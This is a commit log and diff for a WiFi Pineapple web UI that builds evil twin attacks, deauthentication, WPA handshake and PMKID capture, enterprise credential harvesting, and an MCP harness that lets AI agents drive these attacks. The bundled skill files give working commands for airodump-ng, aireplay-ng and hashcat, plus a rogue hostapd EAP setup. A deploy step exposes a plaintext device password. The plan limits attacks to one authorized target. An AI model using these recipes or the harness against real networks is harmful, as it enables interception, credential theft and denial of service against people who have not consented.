Author SHA1 Message Date
bzuccaro 62a5c3430f ui: PineAP tabs order OpenAP before Evil WPA; rename Evil Open to OpenAP 2026-08-18 22:44:13 -05:00
bzuccaro 01a53fa95e ui: drop PineAP dashboard attack infobox 2026-08-18 22:42:49 -05:00
bzuccaro 2aae92839f ui: PineAP rail icon uses the wifi symbol 2026-08-18 22:41:39 -05:00
bzuccaro 35159eb277 ui: restore flat top-level rail (drop nested PineAP sub-entries) 2026-08-18 22:40:26 -05:00
bzuccaro e632444643 test: delete-all-scans endpoint coverage 2026-08-18 22:37:42 -05:00
bzuccaro 60a726dc70 feat: merge attacks into PineAP menu; auto channel; recon fixes; richer reports
- Rail: Attacks tab removed; PineAP becomes a grouped menu (Evil WPA /
  Evil Open / Evil Enterprise / Impersonation / Clients / Filtering);
  old #/attacks* hashes redirect to their PineAP equivalents.
- PineAP tabs gain Evil Enterprise; stock Open AP / Evil WPA / Enterprise
  pages replaced by the verified one-click launchers (status, capture,
  export, deauth, playbooks).
- Channel selects gain an Auto option: deploy resolves the target SSID's
  last-seen channel from recon.db (verified unit-tested end to end).
- Harness: pi.dev prompt section removed; Copy Token inline; robot icon.
- Recon: compare checkboxes no longer hide the AP list (multi-select
  stays visible, rows highlighted, clients table no longer suppressed);
  Previous Scans buttons moved above the dropdown with a Delete All;
  encryption chips + buckets now distinguish WPA2/WPA3 PSK vs Enterprise
  (AKM suites decoded from recon bitfield bits 32-47); scan JSON carries
  GPS when a fix exists; Reports tab shows a GPS column.
- fix: restore top-level EVIL_ENC definition lost in the repo (deployed
  build had it; repo would have thrown at init).
2026-08-18 22:35:51 -05:00
bzuccaro b6be1c40a8 feat: capture field findings into bundled skills (harness resources)
pineapple-control gains the uplink-pins-phy0 constraint, the five-part
pineapd crash stack, and the standalone PineAPE engine recipe; wifi-deauth
gains the field-verified passive-capture finding (clients that refuse the
evil twin still produce crackable 4-ways of the real AP, [B,1,2,3,4]).
Evil WPA playbook hint mentions the passive fallback. Skills are served to
agents via MCP resources.
2026-08-18 22:17:29 -05:00
bzuccaro 7b7a1d2dbd feat: dashboard strip HS source consistency + PineAP→Attacks cross-link banner 2026-08-18 21:48:58 -05:00
bzuccaro d134e94cb8 chore: cache-bust views.js 2026-08-18 21:47:10 -05:00
bzuccaro 32801d450a feat: attacks workflow — playbook steps + auto-targeting deauth panel
Evil WPA/Open pages now show a state-aware playbook (current step
highlighted, contextual hint) and the Deauth Targeting panel
auto-fills the live attack SSID and refreshes clients automatically.
Enterprise page gains a playbook hint card.
2026-08-18 21:43:05 -05:00
bzuccaro db025f45fd chore: cache-bust index.html for views/app 2026-08-18 21:39:08 -05:00
bzuccaro b794dd8daf feat: live event notifications + dashboard status strip
The notification bell now receives event-driven alerts: new handshake
captures, new enterprise credentials, pineapd down/recovery and monitor
drops (15s poll, diffs against last-seen state). Dashboard gains an
Attacks / PineAPd / Recon live status row.
2026-08-18 21:39:02 -05:00
bzuccaro 98bfc97cd6 test: reset monitor_fixes counter between health tests 2026-08-18 21:34:11 -05:00
bzuccaro d0ee8b7ff4 fix: health check repairs dropped monitors even when pineapd is healthy
wifi reloads during attack deploy/stop drop the monitor interfaces and
pineapd only recovers its primary; the monitor now brings both up
whenever it finds them down, with or without a pineapd failure.
2026-08-18 21:33:11 -05:00
bzuccaro dcab92bd11 docs: stability notes — pineapd crash sources + fixes on Pager 24.10.1 2026-08-18 21:32:34 -05:00
bzuccaro b8e38bfefd fix: passive health check + hop=0 in stabilization pass
Active PINGs on pineapd's command socket collided with the stock daemon's
own socket writes ('[PineAp] Error writing'), making the daemon watchdog
SIGTERM pineapd every ~30s while hopping. Monitor now checks pidof only
(no socket writes) and the stabilization pass pins wlan1mon hop=0.
2026-08-18 21:05:39 -05:00
bzuccaro 46e437e8b8 test: uci delete support in health test fake 2026-08-18 20:47:54 -05:00
bzuccaro d77f78fc29 fix: health monitor stabilization pass for all pineapd crash sources
Field-verified crash stack on this firmware: SSID-pool broadcast (segfault),
wlan2mon hopping a nonexistent 6GHz iface (segfault), wlan1mon fast-hopping
6GHz channels (ASIO thread exit), and a large refilled pool. The fix path
now enforces: pool broadcast off, pool list cleared, wlan2mon off, wlan1mon
5GHz-only, wlan0mon 2.4GHz-only — idempotent, so collect refills self-heal.
8-minute continuous-PONG stability verified on-device.
2026-08-18 20:47:43 -05:00
bzuccaro 6a814d1084 test: cover wlan2mon crash-source fix in health monitor 2026-08-18 20:26:29 -05:00
bzuccaro e397c07a81 fix: health monitor detects down monitors via ip link flags + disables wlan2mon
operstate reports 'unknown' on monitors (normal), so _iface_up now parses
admin flags from ip link. Discovered a second pineapd SIGSEGV source: the
wlan2mon 6GHz monitor this hardware never creates, hopping on the missing
iface (~85s crash cadence even with the SSID pool off). The monitor now
disables it in the fix path.
2026-08-18 20:26:16 -05:00
bzuccaro e39b7df5cc fix: health chip API_BASE scope (use App.apiBase) 2026-08-18 20:19:05 -05:00
bzuccaro 4e5ab116b5 fix: never re-enable SSID pool broadcast (crash guard) + top-bar health chip
Mode 'active' and the advertise toggle could re-enable the SSID-pool
broadcast that segfaults pineapd. active preset now skips ssidpool/enable
(advertise stays false), the advertise endpoint refuses with an
explanation when the pool is disabled, get_ap reports the real pool
state, and the PineAP overview disables the toggle with a notice. Added
a top-bar health chip (PINEAP OK / POOL OFF / PINEAPD DOWN) polled every
15s.
2026-08-18 20:16:41 -05:00
bzuccaro a4479df077 fix: attacksShell appends content box to root (detached-div bug) + cache-bust
The Attacks shell created its content div but never attached it to the
document, so all launcher cards rendered into a detached subtree (tabs
only were visible). Bumped views.js cache version in index.html.
2026-08-18 20:11:30 -05:00
bzuccaro 46dd587348 fix: 45s verification window for daemon-applied APs (reload cycle) 2026-08-18 20:03:07 -05:00
bzuccaro a7ea910231 feat: local MCP harness (tools/resources/prompts) + Harness UI page
Streamable-HTTP MCP server on POST /mcp: device.state, attack.deploy/stop/
status/deauth/capture/export_hc22000, loot.handshakes/enterprise_creds,
recon.aps/isearch/devices, pineap.kick_client/set_filter tools; recon DB +
bundled opencode skills resources; attack playbook prompts. Cookie or Bearer
auth. Harness page shows endpoint, token, curl snippet, capability explorer
and a copy-paste pi.dev prompt. scripts/harness_stdio.py for stdio-only
agents.
2026-08-18 20:00:13 -05:00
bzuccaro b1836ee40e feat: enterprise deploy retry loop + karma filters (deny=allow-all) 2026-08-18 19:58:01 -05:00
bzuccaro 4821f06d16 fix: use MSCHAPV2 wildcard in enterprise eap_users (PAP unsupported) 2026-08-18 19:55:04 -05:00
bzuccaro 85be12d2df feat: standalone PineAPE enterprise engine on phy1
The stock daemon's enterprise config generation is broken on this firmware
(it hardcodes eap_server_erp=1, which hostapd rejects), so the enterprise
attack now runs its own karma+PineAPE hostapd instance on wlan1ent/phy1:
iw-created iface, EAP config with catch-all user file, pineape+auth capture
enabled via ctrl, mgmtiface registered in pineapd UCI so captured creds
flow into recon.db (hostap_basic/hostap_chalresp). Boot-recovery redeploys
a live attack after a Mark VIII restart.
2026-08-18 19:53:56 -05:00
bzuccaro 51066c68da test: align health tests with immediate pool-disable behavior 2026-08-18 19:33:07 -05:00
bzuccaro 5516dd87c1 test: health monitor uci-show fake 2026-08-18 19:32:56 -05:00
bzuccaro ee49a98031 fix: health monitor disables SSID pool immediately on PING failure
Ring-buffer SIGSEGV counts were unreliable for growth detection; the pool
broadcast is the only known crash cause, so disable it on first failure.
2026-08-18 19:32:49 -05:00
bzuccaro 6ad03ad4f6 feat: Attacks UI (Overview + Evil WPA/Open/Enterprise launchers)
Side-menu Attacks section with deploy/stop launchers, live status card
(device truth), monitor capture toggle, hashcat .hc22000 export + download,
deauth targeting panel, enterprise cred tables and PineAPE toggles.
2026-08-18 19:30:26 -05:00
bzuccaro 23a1d547b3 feat: pineapd health monitor with crash-loop auto-fix
15s poll; on PING failure, detects SIGSEGV growth (SSID-pool crash-loop),
disables pool broadcast, restarts pineapd, brings wlan1mon up. Rate-limited
fix actions, /api/health endpoint.
2026-08-18 19:28:32 -05:00
bzuccaro d45aa1a3ef feat: one-click attack orchestration backend (Evil WPA/Open/Enterprise)
Deploy/stop/status/capture/export-hc22000/deauth endpoints. Band-aware
deauth inject (wlan0mon for 2.4GHz), enterprise AP via wlan0ent + PineAPE,
verified writes polled from /sys, hop resumed when no radio1 AP active.
2026-08-18 19:27:25 -05:00
bzuccaro c1d47e517c feat: truth-first get_ap (dual radio + enterprise) and derived pineap mode
get_ap now reports radio0, radio1 and enterprise APs separately from UCI
(never a stored/cached branch), with radio channel fallback. Mode is
derived from live enabled/collect state instead of showing 'unknown';
device truth wins over stale stored presets.
2026-08-18 19:25:06 -05:00
bzuccaro 2901234d94 docs: implementation plan for attacks, sync, harness 2026-08-18 19:23:07 -05:00
bzuccaro 14e2184b47 docs: design spec for attacks page, state sync, MCP harness 2026-08-18 19:22:36 -05:00
20 changed files with 3309 additions and 505 deletions
+20
View File
@@ -100,6 +100,26 @@ terminal I/O, and reboot persistence.
- `www/` — vanilla JS SPA (no build step) + bundled xterm.js.
- `payload.sh` + `pagerwebui.init` — Nautilus-style installer / procd service.
## Stability notes (Pager 24.10.1)
pineapd crash sources found and fixed on this firmware (verified on-device,
zero crashes over sustained watches):
1. **SSID-pool broadcast** — segfaults pineapd (~15s cadence). Kept disabled.
2. **wlan2mon** — a 6GHz monitor this hardware never creates; hopping the
missing iface segfaults pineapd. Disabled.
3. **Large refilled pool** — the pool list itself crashes pineapd even with
broadcast disabled. The health monitor clears it (collect refills).
4. **wlan1mon fast-hopping 6GHz** — stalls pineapd's command socket; the
stock daemon's watchdog then SIGTERMs pineapd every ~30s. Bands pinned
to 5GHz (2.4GHz only on wlan0mon).
5. **Socket collisions** — actively pinging pineapd from a health monitor
collides with the stock daemon's own socket writes. The monitor now
checks `pidof` only.
`GET /api/health` reports pineapd/monitor state; the top bar shows a
PINEAP OK / POOL OFF / PINEAPD DOWN chip.
## Security notes
- Auth via device password validated against the daemon; HttpOnly session
@@ -0,0 +1,112 @@
# Attacks + Sync + Harness Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Ship a trustworthy Mark VIII: one-click Evil WPA/Open/Enterprise attacks, device-truth state sync with a pineapd health monitor, and an on-device MCP harness.
**Architecture:** Extend the existing single-file `server.py` (pure-socket HTTP/JSON, no deps — the device python3 has no pip) with attack orchestration, a health-monitor thread, UCI-truth state reads, and a Streamable-HTTP MCP endpoint. Extend the vanilla-JS SPA (`www/js/views.js`, `app.js`) with an Attacks section and a Harness page. Tests are stdlib `unittest` with module-level monkeypatching (`tests/test_*.py`), run one module per process.
**Tech Stack:** Python 3.11 (stdlib only), vanilla JS, UCI (`uci show/set`), daemon unix-socket API (`/tmp/api.sock`), `hak5cmd`/`_pineap`, `iw`, `logread`, `hcxpcapngtool` (on device), MCP Streamable HTTP (2025-06-18).
## Global Constraints
- No new Python deps; no pip; device python3-light-compatible (no urllib/http.server/sqlite3 stdlib).
- Truth = device state (UCI `/etc/config/wireless`, `/etc/config/pineapd`, `iw dev`, live pineapd socket), never UI cache.
- Attacks only against `Zuccaro_iPhone_15` (authorized). No deauth blasts; band-aware inject only.
- SSID pool broadcast stays disabled (stock SIGSEGV bug).
- Writes must be verified by re-read before success is reported.
- Follow existing code style: `device_run()`, `daemon_sock_call()`, `_daemon_proxy()` helpers; `h()` DOM helper in views; routes registered with `ROUTER.add`.
- Tests: `python3 -m unittest tests.test_<module>` (one module per process).
## File Structure
- `payload/user/remote_access/pager-webui/server.py` — all backend: attacks API, health monitor, truth reads, MCP endpoint.
- `payload/user/remote_access/pager-webui/www/js/views.js` — Attacks + Harness views.
- `payload/user/remote_access/pager-webui/www/js/app.js` — routes + side-menu items.
- `payload/user/remote_access/pager-webui/www/css/app.css` — small additions for launchers.
- `tests/test_attacks.py`, `tests/test_health.py`, `tests/test_mcp.py`, `tests/test_getap.py` — new tests.
- `scripts/harness_stdio.py` — optional stdio MCP wrapper for stdio-only agents.
---
### Task 1: Backend truth reads — `get_ap` dual-radio + enterprise + mode derivation
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (h_pineap_wifi_get_ap, h_pineap_mode_get)
**Interfaces:**
- Produces: `GET /api/pineap/wifi/get_ap``{open: {...radio0...}, wpa: {...radio0...}, radio1_open: {...}, radio1_wpa: {...}, enterprise: {enabled, ssid, enctype, key}, pool: {...}, radios: {radio0: {band,channel,...}, radio1: {...}}}`
- Produces: `GET /api/pineap/mode` → mode derived from live state; never `"unknown"` when `pineap_disabled`/`autossidpool` readable.
- [ ] **Step 1:** Rework `h_pineap_wifi_get_ap` to read all three AP pairs from UCI (wlan0open/wlan0wpa on radio0, wlan1open/wlan1wpa on radio1, wlan0ent enterprise) and return them as separate objects; include radio device info per radio.
- [ ] **Step 2:** Rework `h_pineap_mode_get`: derive mode = `advanced` if `autossidpool is False` or engine mismatch with preset; `passive`/`active` from stored preset ONLY when consistent with live `enabled`+`collect`+`advertise`; else `advanced` (never `unknown`).
- [ ] **Step 3:** Update `tests/test_pineap_modes.py` + new `tests/test_getap.py` for the new shapes; run all test modules; commit.
### Task 2: Attack orchestration backend
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (new handlers + ROUTER.add)
- Test: `tests/test_attacks.py`
**Interfaces:**
- `POST /api/attacks/deploy` body `{kind: 'wpa'|'open'|'enterprise', ...fields}` → applies UCI + daemon, returns `{ok, verified: bool, detail}`
- `POST /api/attacks/stop` body `{kind}` → disables AP(s), resumes hop, returns `{ok, verified}`
- `GET /api/attacks/status` → per-kind `{active, ssid, iface, channel, band, live (iw dev check), handshakes: n}`
- `GET /api/attacks/handshakes` (reuse `h_handshakes_get`), `GET /api/attacks/hc22000` → runs `hcxpcapngtool -o` on captured pcap(s) into `/root/loot/hc22000/` and returns download
- `POST /api/attacks/deauth` `{bssid, client, band}` → band-aware inject: 2.4 → `_pineap INTERFACE INJECT wlan0mon` then `PINEAPPLE_DEAUTH_CLIENT`; 5/6 → `wlan1mon`
- `POST /api/attacks/enterprise` toggles PineAPE (`pineape_disabled`, `pineape_auth_pass`)
- [ ] **Step 1:** Write failing tests for deploy/stop/status/deauth (mock `device_run`, `daemon_sock_call`, `hak5`).
- [ ] **Step 2:** Implement handlers; verify tests pass; commit.
### Task 3: Health monitor + stabilization
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (thread + helpers)
- Test: `tests/test_health.py`
**Interfaces:**
- `health_check()``_pineap PING`; on failure twice in a row: count SIGSEGV in `logread`; if growing → `uci set pineapd.@ssidpool[0].disable=1`, restart pineapd; bring `wlan1mon` up (`ip link set wlan1mon up`) if `iw dev` shows it down; only one fix action per interval (cooldown 20s).
- `start_health_monitor()` — daemon thread every 15s, started on server boot.
- `GET /api/health``{pineap: 'up'|'down', sigsegv_count, pool_disabled, wlan1mon_up, last_action, fixes: n}`
- [ ] **Step 1:** Failing tests for health logic (mock `device_run`, `hak5`).
- [ ] **Step 2:** Implement; verify on-device that SIGSEGV count stops climbing; commit.
### Task 4: Attacks UI
**Files:**
- Modify: `www/js/views.js` (3 launchers + shared shell), `www/js/app.js` (routes + menu), `www/css/app.css`
**Interfaces:**
- Menu: `Attacks` (icon `attack`) → `#/attacks` with tabs `#/attacks/wpa`, `#/attacks/open`, `#/attacks/enterprise`.
- Each launcher: fields + Deploy/Stop + status card (live from `/api/attacks/status`) + handshake/cred table + export buttons + deauth table of target clients.
- [ ] **Step 1:** Implement shared launcher shell + Evil WPA page (deploy/stop/status/export/deauth).
- [ ] **Step 2:** Evil Open page; Evil Enterprise page (creds table + clear + toggles).
- [ ] **Step 3:** Wire routes + menu; manual browser smoke test against device; commit.
### Task 5: MCP harness server + Harness UI
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (`/mcp` endpoint)
- Create: `scripts/harness_stdio.py`
- Modify: `www/js/views.js`, `www/js/app.js` (Harness page)
**Interfaces:**
- `POST /mcp` — Streamable HTTP MCP: `initialize`, `notifications/initialized` (202), `tools/list`, `tools/call`, `resources/list`, `resources/read`, `prompts/list`, `prompts/get`; JSON responses; session cookie auth + Origin validation.
- Tools wrap Task 1/2 endpoints + `recon.query` (sqlite3 CLI read-only) + `loot.*`.
- Resources: recon tables, handshake files, skill markdown (bundled copies of pineapple-control/wifi-deauth/aircrack-suite), loot listing.
- Prompts: `evil-wpa-playbook`, `evil-enterprise-playbook`, `recon-playbook`.
- `GET /api/harness/capabilities` → human-readable capability doc for the UI page.
- [ ] **Step 1:** Failing tests for MCP JSON-RPC dispatch (`tests/test_mcp.py`).
- [ ] **Step 2:** Implement `/mcp` + capabilities endpoint; tests pass; commit.
- [ ] **Step 3:** Harness UI page (endpoint info, config snippets, capability explorer, pi.dev prompt generator); commit.
### Task 6: Deploy + on-device verification
- [ ] **Step 1:** Run full test suite locally (each module separately).
- [ ] **Step 2:** Deploy via `./scripts/deploy.sh --password 'Bryce9205'`.
- [ ] **Step 3:** On-device smoke: login, status, health endpoint, attacks deploy/stop round-trip (Evil WPA on 2.4GHz with `Zuccaro_iPhone_15` SSID — no deauth), enterprise deploy/stop, MCP `initialize`+`tools/list` via curl.
- [ ] **Step 4:** Leave device in clean state (no active attacks, hop resumed, pool disabled, wlan1mon up).
@@ -0,0 +1,102 @@
# Mark VIII Night Sprint — Attacks, Sync, Harness
Date: 2026-08-18
Status: Approved (user: "Approved, go build")
## Problem
The Mark VIII web UI (Pager firmware `Pineapple Pager 24.10.1`) is rough and
desyncs from the device. Interrogation (2026-08-18, live device `172.16.52.1`)
found:
1. **pineapd crash-loop**: 34+ `SIGSEGV`s in logread; stock daemon restarts
pineapd every ~30s. Root cause: SSID-pool broadcast (68 SSIDs, `disable='0'`)
segfaults pineapd; `wlan1mon` repeatedly fails to come up
("That device is not up" / "interface sysfs directory does not exist" every 5s).
2. **State desync**: `GET /api/pineap/mode` returns `mode: "unknown"` while the
device is effectively Active; mode is a UI-stored preference, never derived
from live state.
3. **Wrong-band AP cards**: `get_ap` reads radio1 (`wlan1wpa`/`wlan1open`)
whenever those UCI sections exist (even disabled leftovers), so the 2.4GHz
Evil WPA card silently shows 5GHz state.
4. **Evil Enterprise is dead code**: `views.pineap_enterprise` exists but has no
route in `app.js` routes map and no tab.
5. **Fire-and-forget writes**: UI toasts success without verifying device state.
6. **Hop hygiene**: radio1-AP feature pauses `wlan1mon` hop and leaves it paused
with leftover AP sections.
## Research findings (verified on device)
- Enterprise AP recipe: create `wireless.wlan0ent` (device `radio0`, mode `ap`,
encryption `wpa2`, key = passphrase), then
`PUT /api/settings/wifi/set_ap` over unix socket `/tmp/api.sock` with
`{"configs":[{"interface":"wlan0ent","ssid":...,"enctype":"wpa2",
"enabled":true,"key":...,"channel":1}]}`. Result: `wlan0ent` AP live with
`ieee8021x=1`, `wpa=2`, `wpa_key_mgmt=WPA-EAP` (PineAPE internal EAP server).
Daemon-side hostapd reload is async (poll for iface in `iw dev`).
- `hcxpcapngtool`, `tcpdump`, `sqlite3`, `aircrack-ng` present on device.
- MCP Streamable HTTP transport (2025-06-18): single endpoint, POST JSON-RPC,
respond `application/json` or SSE; Origin validation + auth required.
- Daemon unix-socket API (`/tmp/api.sock`) carries `/api/pineap/*`; TCP :1471
carries `/api/settings/*` and `/api/login`.
## Design
### Phase 1 — Attacks (top-level menu item)
New side-menu section **Attacks** with three launchers:
- **Evil WPA (PSK)**: SSID, passphrase, enctype (psk2/sae/owe), band+channel
(2.4 → `wlan0wpa`, 5/6 → `wlan1wpa` via radio1 feature), hidden. Deploy =
UCI write + hop pause + `wifi reload` + PineAP response engine + karma on +
handshake logging on. Stop = disable AP + hop resume. Live AP status from
`iw dev`/UCI (never UI cache), live handshake table (`hostap_handshake`),
**Export .hc22000** (on-device `hcxpcapngtool`) + hashcat command, per-client
deauth with band-aware inject interface.
- **Evil Open**: same shape for `wlan0open` / radio1 open AP.
- **Evil Enterprise**: SSID, encryption (wpa2/wpa3 enterprise), passphrase.
Deploy = verified recipe above + PineAPE on + auth-pass capture on. Live cred
tables (`hostap_basic`, `hostap_chalresp`) with Clear.
All three: verification banner ("applied & verified" vs "device state differs"),
Stop button, and a post-write poll (UCI + `iw dev`) before success toast.
### Phase 2 — Stabilize + sync
- SSID pool broadcast disabled on deploy of this build; server-side health
monitor: `_pineap PING` every 15s; two failures → check SIGSEGV growth in
logread → disable pool, restart pineapd, `ip link set wlan1mon up`.
- Mode derived from live `enabled` + `collect` + `advertise`; never "unknown"
when state is readable.
- `get_ap` returns `radio0` + `radio1` + `enterprise` APs as separate objects.
- All writes verified by re-read; success only on match.
- Hop resumed when no radio1 AP active; leftover radio1 sections reported.
### Phase 3 — Local Harness (MCP)
- `POST /mcp` on server.py: Streamable HTTP MCP server (JSON-RPC 2.0, pure
socket, no deps), auth via session cookie/Bearer + Origin validation.
- Tools: `recon.query`, `attack.deploy_evil_wpa` / `deploy_evil_open` /
`deploy_evil_enterprise` / `stop_attack`, `attack.deauth`,
`attack.capture`, `loot.handshakes`, `loot.export_hc22000`,
`loot.enterprise_creds`, `device.state`, `pineap.set_filter`,
`pineap.kick_client`.
- Resources: recon DB tables (ssid, wifi_device, handshake, hostap_handshake,
hostap_basic, hostap_chalresp), handshake files, loot listing, and the
opencode skills (pineapple-control, wifi-deauth, aircrack-suite) as
markdown resources.
- Prompts: attack playbooks (evil-wpa, evil-enterprise, recon).
- **Harness UI page**: endpoint + client config snippets (opencode/Claude/
Cursor), capability explorer, "prompt for pi.dev" generator, live state
snapshot.
- Optional stdio wrapper `scripts/harness_stdio.py` for stdio-only agents.
## Constraints
- Authorized target: `Zuccaro_iPhone_15` only (intermittent). Non-client
environment; no deauth blasts; verify on-wire via monitor capture when needed.
- SSID pool stays disabled (stock bug; re-enabling re-crashes pineapd).
## Out of scope
`1471` takeover, Cloud C2, campaigns, physical display mirroring.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,54 @@
---
name: aircrack-suite
description: Use when running the aircrack-ng suite on the WiFi Pineapple (Pager/FENRIS) — airodump-ng target capture, aireplay-ng deauth, PMKID (hashcat -m 22002) or four-way handshake (hashcat -m 22000) hunting, on-device hcxpcapngtool extraction, or installing/reinstalling aircrack-ng and hcxtools after a factory reset. Pairs with pineapple-control (device access) and wifi-deauth (attack methodology).
---
# Aircrack Suite on the Pineapple (airodump / aireplay / PMKID)
The Pineapple runs aircrack-ng tools directly on its monitor interfaces. Verified on Pager/FENRIS: `aircrack-ng 1.7-r1` (airodump-ng, aireplay-ng, aircrack-ng) and `hcxtools 6.3.2-r1` (hcxpcapngtool). Read **pineapple-control** for device access, radio layout, and the command surface; read **wifi-deauth** for the attack methodology, authorization gate, and failure modes.
## Installation (factory-reset recovery)
```sh
opkg update
opkg install aircrack-ng hcxtools
```
- `airmon-ng` is NOT shipped with the OpenWrt package — monitor mode is handled by the existing `wlan0mon`/`wlan1mon` interfaces (or `iw`), not airmon-ng.
- `hcxdumptool` is NOT in the opkg repo — capture PMKID with airodump-ng + hcxpcapngtool extraction instead.
- Workstation tooling for cracking (macOS): `brew install hcxtools hashcat`; `aircrack-ng` optional via `brew install aircrack-ng`.
## Target capture
Monitor interfaces must be UP, and the channel must match the phy (pinned by the AP interface: ch1 = `wlan0mon` 2.4 GHz, ch36 = `wlan1mon` 5 GHz). **airodump-ng 1.7 does NOT accept `--write-format`** — use `-w <prefix>` (writes `.cap`, `.csv`, `.kismet.*`):
```sh
ip link set wlan1mon up
setsid airodump-ng wlan1mon -c 36 --bssid 9A:18:98:FE:C1:09 -w /root/loot/pcap/svc5g >/tmp/ad.log 2>&1 </dev/null &
```
- `setsid ... </dev/null &` detaches so the capture survives SSH disconnect; it runs until killed (no time cap).
- One airodump per band: `wlan0mon -c 1` for 2.4 GHz targets. Run both for dual-band coverage.
- Stop: `killall airodump-ng`. Files roll to `-02.cap`, `-03.cap`, etc.
- Pull the `.cap` with scp for local analysis, or use on-device `hcxpcapngtool`.
## PMKID hunt (hashcat -m 22002)
A PMKID appears in a client's (re)association request when it holds a cached PMK — i.e., PMKSA fast-reauth clients. Requirement: a client must (re)associate; **no client in range means nothing to capture**.
- Elicit with ONE light deauth: `PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <ch>` (tested) or `aireplay-ng -0 1 -a <AP_MAC> [-c <CLIENT_MAC>] wlan1mon`. Heavy deauth suppresses PMKID — the AP resets PMKID and hcxpcapngtool warns "too many deauthentication/disassociation frames".
- Extract on-device or locally:
```sh
hcxpcapngtool svc5g-01.cap 2>&1 | grep -i pmkid # does a PMKID exist?
hcxpcapngtool -o out.22002 svc5g-01.cap # write hashcat file
hashcat -m 22002 out.22002 -a 0 <wordlist>
```
- A brand-new client's first association also yields a full 4-way: `hcxpcapngtool -o out.22000 <cap>` then `hashcat -m 22000 out.22000 -a 0 <wordlist>`.
## Pitfalls
- **Verify the auth type before assuming PSK.** airodump's AUTH column can misleadingly show `MGT` (802.1X) when a hidden Enterprise BSSID shares the same AP. Decode the RSN instead: `tshark -r cap -Y "wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.rsn.akms.type` (1 = PSK, 2 = 802.1X, 6 = FT-802.1X). PMKID/`-m 22000` only apply to PSK.
- **Channel:** `-c` must equal the phy's held channel, or airodump sees nothing.
- **Interface state:** if airodump errors "That device is not up", run `ip link set wlan*mon up` first.
- **Flags:** "unrecognized option" on 1.7 — you passed an unsupported flag (e.g. `--write-format`).
- Running airodump alongside pineapd recon is fine; the phy stays pinned by the AP interface, so recon hopping cannot move it.
@@ -0,0 +1,145 @@
---
name: pineapple-control
description: Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work.
---
# Pineapple Control (Pager / FENRIS)
Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology.
## Hardware / radios
| Radio | Hardware | Interfaces | Notes |
|---|---|---|---|
| phy0 | internal `mt76_wmac` (2.4 GHz) | `wlan0wpa` (AP), `wlan0open` (AP), `wlan0mon` (monitor), `wlan0` (managed uplink) | `wlan0mon` DOES see the Pineapple's own TX |
| phy1 | USB `mt7921u` (5 GHz) | `wlan1wpa` (AP), `wlan1mon` (monitor) | `wlan1mon` does NOT see own TX (beacon offload) — see Captures |
Naming: `wlan0*` = 2.4 GHz, `wlan1*` = 5 GHz. A phy's channel is held by its AP interface (`iw dev`); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to `wlan0wpa` (2.4 GHz); a 5 GHz evil twin must be made via `/etc/config/wireless`.
**The uplink pins phy0 (field-verified 2026-08-19):** while the device's own
client uplink (`wlan0` STA) is associated, it holds phy0 on the association
channel (here ch1). `wlan0mon` therefore CANNOT hop off ch1, and 2.4 GHz
APs on other channels are invisible to recon — even when `hop=1` is set.
Also, pineapd's per-interface hop is a no-op unless `hopspeed` is set on
that interface (`pineapd.wlan0mon.hopspeed='fast'`). Workarounds: run the
2.4 GHz evil twin on the phy's pinned channel (clients rescan all channels
on reconnect and will find it), or accept ch1-only 2.4 GHz recon while the
uplink is up.
## pineapd crash stack (Pager 24.10.1 — all five verified)
1. **SSID-pool broadcast** — segfaults pineapd (~15 s cadence, `ra=004e1237`). Keep `pineapd.@ssidpool[0].disable=1`.
2. **wlan2mon** — a 6 GHz monitor this hardware never creates; hopping it segfaults pineapd. Keep `pineapd.wlan2mon.disable=1` + `hop=0`.
3. **wlan1mon 6 GHz fast-hop** — stalls the command socket; the stock daemon's watchdog then SIGTERMs pineapd every ~30 s ("[PineAp] Error writing"). Keep `pineapd.wlan1mon.bands=5`.
4. **Refilled pool list** — collect (`autossidpool`) refills the pool; a large list crashes even with broadcast off. Clear `pineapd.@ssidpool[0].ssid` when pineapd fails.
5. **Active socket polling** — pinging pineapd from a health loop collides with the stock daemon's writes. Health checks must be passive (`pidof`).
The Mark VIII health monitor enforces all five automatically; `/api/health` reports state. An evil twin / enterprise deploy pauses `wlan1mon` hop and resumes it on stop.
## Standalone PineAPE enterprise engine (field-verified)
The stock daemon's enterprise AP config generation is BROKEN on this build
(it hardcodes `eap_server_erp=1`, which hostapd rejects with "Invalid IEEE
802.1X configuration (no EAP authenticator configured)"). Working engine,
run entirely by Mark VIII on phy1 outside the daemon's interface set:
```sh
iw phy phy1 interface add wlan1ent type managed
iw dev wlan1ent set type ap && ip link set wlan1ent up
# hostapd config: interface=wlan1ent, ieee8021x=1, eap_server=1,
# eap_user_file=/root/loot/eap_users ("*" MSCHAPV2 "dummy"),
# wpa_key_mgmt=WPA-EAP, ctrl_interface=/var/run/hostapd-mk8
/usr/sbin/hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf
# enable karma + PineAPE + auth capture on the INSTANCE's ctrl socket:
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineap_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable
```
Captured credentials flow to pineapd's socket and land in
`hostap_basic`/`hostap_chalresp` in recon.db. Tear down: kill the pidfile
pid, `iw dev wlan1ent del`, resume hop.
## Access
```sh
sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@<ip> # lab unit: 172.16.52.1
```
